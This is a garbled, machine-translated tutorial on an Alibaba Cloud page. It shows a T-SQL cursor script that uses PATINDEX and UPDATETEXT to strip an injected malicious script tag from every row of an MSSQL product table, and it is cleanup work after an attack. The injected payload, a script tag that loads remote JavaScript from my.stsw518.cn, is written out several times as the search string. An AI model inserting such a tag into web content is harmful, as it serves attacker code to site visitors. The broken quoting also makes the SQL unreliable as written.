Replace the MSSQL Database text field malicious script

Source: Internet
Author: User
Tags end mssql
Delete An example of substitution processing for the text field of the MSSQL database-full table replacement, see someone ask a question, so sorted out a long time ago the processing method, for everyone to refer to the method is very simple: the text field can not use replace, so use Patindex

-select * from Product where P_intro like '%<script src= ' http://my.stsw518.cn/a002/1.js ' src= ' http://my.stsw518.cn/ A002/1.js "></script>% '
Replacement processing example for--text field--Full table substitution
--Select Datalength (P_intro), * from Product
--Invite the month to organize
--Define a replacement string
declare @s_str nvarchar (4000), @d_str nvarchar (4000)
Select @s_str = ' <script src= ' http://my.stsw518.cn/a002/1.js ' src= ' http://my.stsw518.cn/a002/1.js ' ></ Script> '--the string to replace
, @d_str = '--replaced by a string

--because you can only use PATINDEX, so handle the search string
Set @s_str = '% ' + @s_str + '% '
--defining cursors, looping data
DECLARE @id bigint
Declare #tb cursor FOR select p_id from Product where P_intro like '%<script src= ' http://my.stsw518.cn/a002/1.js ' src= ' Http://my.stsw518.cn/a002/1.js "></script>% '
-Where p_id=300727----where P_intro like '%<script src= ' http://my.stsw518.cn/a002/1.js ' src= ' http:// My.stsw518.cn/a002/1.js "></script>% '
Open #tb
FETCH NEXT from #tb into @id
While @ @fetch_status =0
Begin
--string substitution processing
DECLARE @p varbinary (16)
, @p1 int, @p2 int
, @rplen int, @step int, @len int
Select @p=textptr (P_intro)
, @rplen =len (@s_str)-2
, @step =len (@d_str)
, @p1 =patindex (@s_str, P_intro)
, @len =datalength (P_intro)
, @p2 =0
From Product
where p_id= @id
While @p1 >0
Begin
Set @p2 = @p1 + @p2-1
UPDATETEXT product.p_intro @p @p2 @rplen @d_str
Select @p2 = @p2 +1, @p1 =patindex (@s_str, substring (p_intro, @p2 +1, @len))
From Product where p_id= @id
End
FETCH NEXT from #tb into @id
End
Close #tb
Deallocate #tb
--Show results
----Select Datalength (P_intro), * from Product



Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.